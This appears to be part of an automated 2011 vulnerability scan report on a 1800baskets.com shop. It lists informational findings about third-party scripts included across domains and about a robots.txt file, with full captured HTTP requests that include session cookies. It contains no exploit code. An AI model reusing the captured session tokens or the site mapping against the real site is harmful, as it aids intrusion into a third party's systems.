<img src="http://media1.1800flowers.com/800f_assets/jet/website/images/baskets/brandable/icon-cart.gif" alt="Shopping Cart" border="0"/>
</a>
...[SNIP]...
<a href="http://ww30.1800baskets.com/shoppingbasket.do" rel="nofollow"><img src="http://media1.1800flowers.com/800f_assets/jet/website/images/baskets/brandable/btn-hdr-checkout.gif" alt="checkout" border="0"/></a>
...[SNIP]...
</div>    
    <script type="text/javascript" src="http://media3.1800flowers.com/800f_assets/jet/website/scripts/flowers/dropdowntabs_v3.js"></script>
...[SNIP]...
</div><script type="text/javascript" src="//libs.coremetrics.com/eluminate.js"></script>
<script type="text/javascript" src="http://media1.1800flowers.com/800f_assets/jet/website/scripts/flowers/cmcustom.js"></script>
...[SNIP]...
<td colspan="2" valign="top" align="center" zone="2">
           <link rel="stylesheet" type="text/css" href="http://media1.1800flowers.com/800f_assets/jet/website/styles/baskets/flowers_enterprise_oct.css"/><style>
...[SNIP]...
<a href="../collection.do?dataset=11309&amp;tpfpb2=1" title="Birthday" target="_parent" class="hp-leftnav1"><img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/TPF/nav050811_01.png" alt="Birthday"/></a><a href="../collection.do?dataset=11312&amp;tpfpb3=1" title="Thank You" target="_parent" class="hp-leftnav1"><img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/TPF/nav050811_02.png" alt="Thank You" /></a><a href="../collection.do?dataset=11491&amp;tpfpb4=1" title="Get Well" target="_parent" class="hp-leftnav1"><img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/TPF/nav050811_03.png" alt="Get Well" /></a><a href="../collection.do?dataset=11315&amp;tpfpb5=1" title="Family Night" target="_parent" class="hp-leftnav1"><img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/TPF/nav050811_04.png" alt="Family Night"/></a><a href="../collection.do?dataset=11313&amp;tpfpb6=1" title="Bestsellers" target="_parent" class="hp-leftnav1"><img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/TPF/nav050811_05.png" alt="Bestsellers"/></a><a href="../collection.do?dataset=11316&amp;tpfpb7=1" title="Gifts Under $30" target="_parent" class="hp-leftnav1"><img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/TPF/nav050811_06.png" alt="Gifts Under $30"/></a><a href="../collection.do?dataset=11314&amp;tpfpb8=1" title="Sale" target="_parent" class="hp-leftnav1"><img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/TPF/nav050811_07.png" alt="Sale"/></a>
...[SNIP]...
<a href="../product.do?baseCode=93407&dataset=11086&tpfhero"><img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/TPF/TPFHero-050511.jpg" border="0" /></a>
...[SNIP]...
<a href="../product.do?baseCode=93406&dataset=11309&amp;tpfpromo1"><img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/tpf/TPF-promo1-050411PM.jpg" border="0"/></a>
...[SNIP]...
<a href="../product.do?baseCode=94206&dataset=11086&amp;tpfpromo2"><img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/tpf/TPF-promo2-050511.jpg" border="0"/></a>
...[SNIP]...
<a href="../collection.do?dataset=11491&amp;f1h=1"><img alt="Holiday Preview" src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/TPF/tpf-feature-getwell.gif" border="0" /></a><a href="../product.do?baseCode=93400&amp;dataset=11491"><img src="http://media6.1800flowers.com/800f_assets/images/flowers/images/shop/catalog/93400.jpg" /></a>
...[SNIP]...
</a> <img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpb/arrow.gif" /></div>
...[SNIP]...
<a href="../collection.do?dataset=11313&amp;tpfpb6=1"><img alt="Best Sellers" src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/tpf/TPF-feature-best-sellers.gif" border="0" /></a><a href="../product.do?baseCode=94583&amp;dataset=11313"><img src="http://media6.1800flowers.com/800f_assets/images/flowers/images/shop/catalog/94583.jpg" /></a>
...[SNIP]...
</a> <img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpb/arrow.gif" /></div>
...[SNIP]...
<a href="../collection.do?dataset=11309&amp;f3h=1"><img alt="Birthday" src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/brandable/TPF-feature-holiday-birthday.gif" border="0" /></a><a href="../product.do?baseCode=93260&amp;dataset=11309"><img src="http://media6.1800flowers.com/800f_assets/images/flowers/images/shop/catalog/93052L.jpg" /></a>
...[SNIP]...
</a> <img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpb/arrow.gif" /></div>
...[SNIP]...
<a href="../collection.do?dataset=11312&amp;f4h=1"><img alt="Thank You" src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/TPF/tpf-feature-thankyou.gif" border="0" /></a><a href="../product.do?baseCode=94229&amp;dataset=11312"><img src="http://media1.1800flowers.com/800f_assets/images/flowers/images/shop/catalog/94229.jpg" /></a>
...[SNIP]...
</a> <img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpb/arrow.gif" /></div>
...[SNIP]...
<div class="trsFooterLinks">
<a class="footerlink" href="http://help.1800flowers.com" target="_self" rank="">Customer Service</a> <img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpa/footer_divider.gif" alt=""><a class="footerlink" href="http://ww30.1800baskets.com/template.do?id=template4&amp;page=9000" target="_self" rank="">
...[SNIP]...
</a> <img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpa/footer_divider.gif" alt=""><a class="footerlink" href="http://ww30.1800baskets.com/template.do?id=template4&amp;page=9004" target="_self" rank="">
...[SNIP]...
</a> <img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpa/footer_divider.gif" alt=""><a class="footerlink" href="http://affiliateprogram.1800flowers.com" target="_self" rank="">Affiliate Program</a> <img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpa/footer_divider.gif" alt=""><a class="footerlink" href="http://ww30.1800baskets.com/collection.do?dataset=11088" target="_self" rank="">
...[SNIP]...
</a> <img src="http://media5.1800flowers.com/800f_assets/jet/website/images/baskets/banners/hp/hpa/footer_divider.gif" alt=""><a class="footerlink" href="http://ww30.1800baskets.com/collection.do?dataset=11117" target="_self" rank="">
...[SNIP]...
</a> - Send us <a class="copylink" href="http://vovici.com/wsb.dll/s/2b42g408c4" rel="nofollow" target="_blank">Feedback on this Site</a>
...[SNIP]...
<div id="rr_allpages"><script type="text/javascript" src="http://media.richrelevance.com/rrserver/js/0.4/p13n.js"></script>
...[SNIP]...
<!-- pageid END -->


   <script language="javascript1.1" src="http://media2.1800flowers.com/800f_assets/jet/website/scripts/flowers/livePerson/800-chat-sales-english_mtagconfig.js" type="text/javascript"></script>
...[SNIP]...

6. Cross-domain script include  previous  next
There are 4 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


6.1. http://ww30.1800baskets.com/deliverycalendarnew.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ww30.1800baskets.com
Path:   /deliverycalendarnew.do

Issue detail

The response dynamically includes the following script from another domain:

Request

POST /deliverycalendarnew.do?month=5&year=2011&locationType=1&itemCount=1&prodType=GPT&productPrice=29.99&zip=10010&country=&productSKU=93260&contextPageType=PRODUCT&isGeoSell=false&field=deliveryDate&baseCode=93260&nextMonthAvailableCheck=true&page=product HTTP/1.1
Host: ww30.1800baskets.com
Proxy-Connection: keep-alive
Referer: http://ww30.1800baskets.com/product.do?baseCode=93260&dataset=11309
Origin: http://ww30.1800baskets.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=0000MKdbdCo70zXsBXxIys-COzm:-1; ShopperManagerEnterprise=aed35ad7-54a3-48bc-a8e0-0c9f3d76e618; FSESSIONID=847b741e4593439b8e3ed6040ba46630; brandCode=1001; __utmz=1.1304903358.1.1.utmcsr=ww30.1800flowers.com|utmccn=(referral)|utmcmd=referral|utmcct=/collection.do; cmTPSet=Y; CMAVID=70091303843240316067555; 87011923-VID=16601209214853; 87011923-SKEY=6825682268674136395; HumanClickSiteContainerID_87011923=STANDALONE; __unam=bbc31a8-12fd24e67c1-26d7039-1; __utma=1.534657557.1304903358.1304903358.1304903358.1; __utmc=1; __utmb=1.2.10.1304903358; CoreAt=90074784=1|2|0|0|0|0|0|1|0|0|0|0|1|1304903358|1_|1561_&; cmRS=&t1=1304903446336&t2=1304903453532&t3=1304903453756&t4=1304903443093&lti=1304903453755&ln=sd&hr=javascript%3AcheckNShowAppParamLightBoxCalendar%28deliveryDate%2Ctrue%29%3B&fti=&fn=searchform%3A0%3BproductForm%3A1%3Bsigninform%3A2%3Bfindgiftform%3A3%3BUNDEFINED%3A4%3B&ac=&fd=&uer=&fu=&pi=PRODUCT%3A%20The%20Popcorn%20Factory%20Party%20Pup%20Snack%20Tin%20%2893260%29&ho=blooms.1800flowers.com/cm%3F&ci=90074784
Content-Length: 0

Response

HTTP/1.1 200 OK
Date: Mon, 09 May 2011 01:18:13 GMT
Server: IBM_HTTP_Server
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAa IVDa CONo HISa TELo OUR DELa SAMo UNRo OTRo IND UNI NAV"
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=00001N288SgFQQcgjdh8LBTc6IT:-1; Path=/
Vary: Accept-Encoding
X-Powered-By: 1800Flowers web server
X-AspNet-Version: 1.21.366
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 52934


<html>
<head>    
<link rel="stylesheet" type="text/css" href="http://media1.1800flowers.com/800f_assets/jet/website/styles/baskets/flowers_enterprise_apr1.css"/>

<script type="text/javascript" src="http://media1.1800flowers.com/800f_assets/jet/website/scripts/flowers/flowers_enterprise_apr9.js"></script>
...[SNIP]...

6.2. http://ww30.1800baskets.com/product.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ww30.1800baskets.com
Path:   /product.do

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /product.do?baseCode=93260&dataset=11309 HTTP/1.1
Host: ww30.1800baskets.com
Proxy-Connection: keep-alive
Referer: http://ww30.1800baskets.com/template.do?id=template3&page=2000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=0000MKdbdCo70zXsBXxIys-COzm:-1; ShopperManagerEnterprise=aed35ad7-54a3-48bc-a8e0-0c9f3d76e618; FSESSIONID=847b741e4593439b8e3ed6040ba46630; brandCode=1001; __utmz=1.1304903358.1.1.utmcsr=ww30.1800flowers.com|utmccn=(referral)|utmcmd=referral|utmcct=/collection.do; __utma=1.534657557.1304903358.1304903358.1304903358.1; __utmc=1; __utmb=1.1.10.1304903358; cmTPSet=Y; CMAVID=70091303843240316067555; 87011923-VID=16601209214853; 87011923-SKEY=6825682268674136395; HumanClickSiteContainerID_87011923=STANDALONE; CoreAt=90074784=1|1|0|0|0|0|0|0|0|0|0|0|1|1304903358|1_|1561_&; cmRS=&t1=1304903358829&t2=1304903368545&t3=1304903441095&lti=1304903441095&ln=&hr=/product.do%3FbaseCode%3D93260%26dataset%3D11309&fti=&fn=searchform%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=18B%3Atemplate-The%20Popcorn%20Factory&ho=blooms.1800flowers.com/cm%3F&ci=90074784&ul=http%3A//ww30.1800baskets.com/template.do%3Fid%3Dtemplate3%26page%3D2000&rf=http%3A//ww30.1800flowers.com/collection.do%3Fdataset%3D10305

Response

HTTP/1.1 200 OK
Date: Mon, 09 May 2011 01:17:19 GMT
Server: IBM_HTTP_Server
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAa IVDa CONo HISa TELo OUR DELa SAMo UNRo OTRo IND UNI NAV"
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Vary: Accept-Encoding
X-Powered-By: 1800Flowers web server
X-AspNet-Version: 1.21.366
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 83726


                                                <html xmlns="http://www.w3.org/1999/xhtml"
    xmlns:og="http://ogp.me/ns#"
    xmlns:fb="http://www.face
...[SNIP]...
</style>
<script src="http://w.sharethis.com/widget/?tabs=web%2Cpost%2Cemail&amp;charset=utf-8&amp;style=rotate&amp;publisher=a396cc33-4aff-4879-b5e0-d9ab5133031a&amp;headerbg=%23669933&amp;linkfg=%23663399&amp;offsetLeft=-155&amp;embeds=true&amp;button=false&amp;onmouseover=false" type="text/javascript"></script>
...[SNIP]...
</div>    
    <script type="text/javascript" src="http://media3.1800flowers.com/800f_assets/jet/website/scripts/flowers/dropdowntabs_v3.js"></script>
...[SNIP]...
</div>
<script type="text/javascript" src="http://media1.1800flowers.com/800f_assets/jet/website/scripts/flowers/flowers_enterprise_apr9.js"></script>
<script type="text/javascript" src="http://media3.1800flowers.com/800f_assets/jet/website/scripts/flowers/thirdparty_merged_mday1.js"></script>
<script type="text/javascript" src="http://media6.1800flowers.com/800f_assets/jet/website/scripts/flowers/product_apr7.js"></script>
<script type="text/javascript" src="http://media3.1800flowers.com/800f_assets/jet/website/scripts/flowers/calendar/date.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://media5.1800flowers.com/800f_assets/jet/website/scripts/flowers/martha-tab_aug2.js"></script>
...[SNIP]...
</script>


                                       <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
<div id="rr_allpages"><script type="text/javascript" src="http://media.richrelevance.com/rrserver/js/0.4/p13n.js"></script>
...[SNIP]...
<!-- Mercent Tag Start -->

<script src="https://cdn.mercent.com/js/tracker.js"
   type="text/javascript">
</script>
...[SNIP]...
</div><script type="text/javascript" src="//libs.coremetrics.com/eluminate.js"></script>
<script type="text/javascript" src="http://media1.1800flowers.com/800f_assets/jet/website/scripts/flowers/cmcustom.js"></script>
...[SNIP]...
</script>


   <script language="javascript1.1" src="http://media2.1800flowers.com/800f_assets/jet/website/scripts/flowers/livePerson/800-chat-sales-english_mtagconfig.js" type="text/javascript"></script>
...[SNIP]...

6.3. http://ww30.1800baskets.com/shoppingbasket.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ww30.1800baskets.com
Path:   /shoppingbasket.do

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /shoppingbasket.do HTTP/1.1
Host: ww30.1800baskets.com
Proxy-Connection: keep-alive
Referer: http://ww30.1800baskets.com/product.do?baseCode=93260&dataset=11309
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ShopperManagerEnterprise=aed35ad7-54a3-48bc-a8e0-0c9f3d76e618; FSESSIONID=847b741e4593439b8e3ed6040ba46630; brandCode=1001; __utmz=1.1304903358.1.1.utmcsr=ww30.1800flowers.com|utmccn=(referral)|utmcmd=referral|utmcct=/collection.do; cmTPSet=Y; CMAVID=70091303843240316067555; __unam=bbc31a8-12fd24e67c1-26d7039-1; __utma=1.534657557.1304903358.1304903358.1304903358.1; __utmc=1; __utmb=1.2.10.1304903358; 87011923-VID=16601209214853; 87011923-SKEY=6825682268674136395; HumanClickSiteContainerID_87011923=STANDALONE; CoreAt=90074784=1|2|0|0|0|0|0|1|0|0|0|0|1|1304903358|1_|1561_&; cmRS=&t1=1304903446336&t2=1304903453532&t3=1304903458838&t4=1304903443093&lti=1304903458838&ln=verify&hr=javascript%3AcheckNSubmit%28false%29&fti=1304903458845&fn=searchform%3A0%3BproductForm%3A1%3Bsigninform%3A2%3Bfindgiftform%3A3%3BUNDEFINED%3A4%3B&ac=1:S&fd=1%3A22%3AlocationCode%3B&uer=&fu=/product.do&pi=PRODUCT%3A%20The%20Popcorn%20Factory%20Party%20Pup%20Snack%20Tin%20%2893260%29&ho=blooms.1800flowers.com/cm%3F&ci=90074784; JSESSIONID=0000a4jGFqAQQsPqkpo4AlBHArV:-1

Response

HTTP/1.1 200 OK
Date: Mon, 09 May 2011 01:18:26 GMT
Server: IBM_HTTP_Server
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAa IVDa CONo HISa TELo OUR DELa SAMo UNRo OTRo IND UNI NAV"
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=0000elBrn4hw6Blclz2pBq53Rgi:-1; Path=/
Vary: Accept-Encoding
X-Powered-By: 1800Flowers web server
X-AspNet-Version: 1.21.366
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 146143


           <html>
<head>

   <meta http-equiv="Pragma" content="no-cache">
   <meta http-equiv="Cache-Control" content="no-cache">
   <meta http-equiv="Expir
...[SNIP]...
<body onload='setDeliveryDates()'>

<script type="text/javascript" src="http://media1.1800flowers.com/800f_assets/jet/website/scripts/flowers/flowers_enterprise_apr9.js"></script>
<script type="text/javascript" src="http://media3.1800flowers.com/800f_assets/jet/website/scripts/flowers/thirdparty_merged_mday1.js"></script>
...[SNIP]...
</div>    
    <script type="text/javascript" src="http://media3.1800flowers.com/800f_assets/jet/website/scripts/flowers/dropdowntabs_v3.js"></script>
...[SNIP]...
<div id="rr_allpages"><script type="text/javascript" src="http://media.richrelevance.com/rrserver/js/0.4/p13n.js"></script>
...[SNIP]...
</div><script type="text/javascript" src="//libs.coremetrics.com/eluminate.js"></script>
<script type="text/javascript" src="http://media1.1800flowers.com/800f_assets/jet/website/scripts/flowers/cmcustom.js"></script>
...[SNIP]...
</script>


   <script language="javascript1.1" src="http://media2.1800flowers.com/800f_assets/jet/website/scripts/flowers/livePerson/800-chat-sales-english_mtagconfig.js" type="text/javascript"></script>
...[SNIP]...

6.4. http://ww30.1800baskets.com/template.do  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ww30.1800baskets.com
Path:   /template.do

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /template.do?id=template3&page=2000 HTTP/1.1
Host: ww30.1800baskets.com
Proxy-Connection: keep-alive
Referer: http://ww30.1800flowers.com/collection.do?dataset=10305
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=0000MKdbdCo70zXsBXxIys-COzm:-1; ShopperManagerEnterprise=aed35ad7-54a3-48bc-a8e0-0c9f3d76e618; FSESSIONID=847b741e4593439b8e3ed6040ba46630; brandCode=1001

Response

HTTP/1.1 200 OK
Date: Mon, 09 May 2011 01:16:16 GMT
Server: IBM_HTTP_Server
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAa IVDa CONo HISa TELo OUR DELa SAMo UNRo OTRo IND UNI NAV"
Set-Cookie: JSESSIONID=0000dNGqKXu-V4E9FonaYphG7gq:-1; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Vary: Accept-Encoding
X-Powered-By: 1800Flowers web server
X-AspNet-Version: 1.21.366
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 37878


<html>
<head>

<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">


<title></title>
<meta name="description" content="ThePopco
...[SNIP]...
</div>    
    <script type="text/javascript" src="http://media3.1800flowers.com/800f_assets/jet/website/scripts/flowers/dropdowntabs_v3.js"></script>
...[SNIP]...
</div><script type="text/javascript" src="//libs.coremetrics.com/eluminate.js"></script>
<script type="text/javascript" src="http://media1.1800flowers.com/800f_assets/jet/website/scripts/flowers/cmcustom.js"></script>
...[SNIP]...
<div id="rr_allpages"><script type="text/javascript" src="http://media.richrelevance.com/rrserver/js/0.4/p13n.js"></script>
...[SNIP]...
<!-- pageid END -->


   <script language="javascript1.1" src="http://media2.1800flowers.com/800f_assets/jet/website/scripts/flowers/livePerson/800-chat-sales-english_mtagconfig.js" type="text/javascript"></script>
...[SNIP]...

7. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ww30.1800baskets.com
Path:   /include/cookieCloner.asp

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: ww30.1800baskets.com

Response

HTTP/1.1 200 OK
Date: Mon, 09 May 2011 01:15:59 GMT
Server: IBM_HTTP_Server
Last-Modified: Thu, 21 Apr 2011 18:22:34 GMT
Content-Length: 127
Vary: Accept-Encoding
X-Powered-By: 1800Flowers web server
X-AspNet-Version: 1.21.366
Connection: close
Content-Type: text/plain
Content-Language: en-US

# robots.txt for http://www.1800flowers.com
User-agent: *
Disallow:

SITEMAP: http://www.1800flowers.com/sitemap-index.xml

Report generated by XSS.CX at Mon May 09 07:25:30 CDT 2011.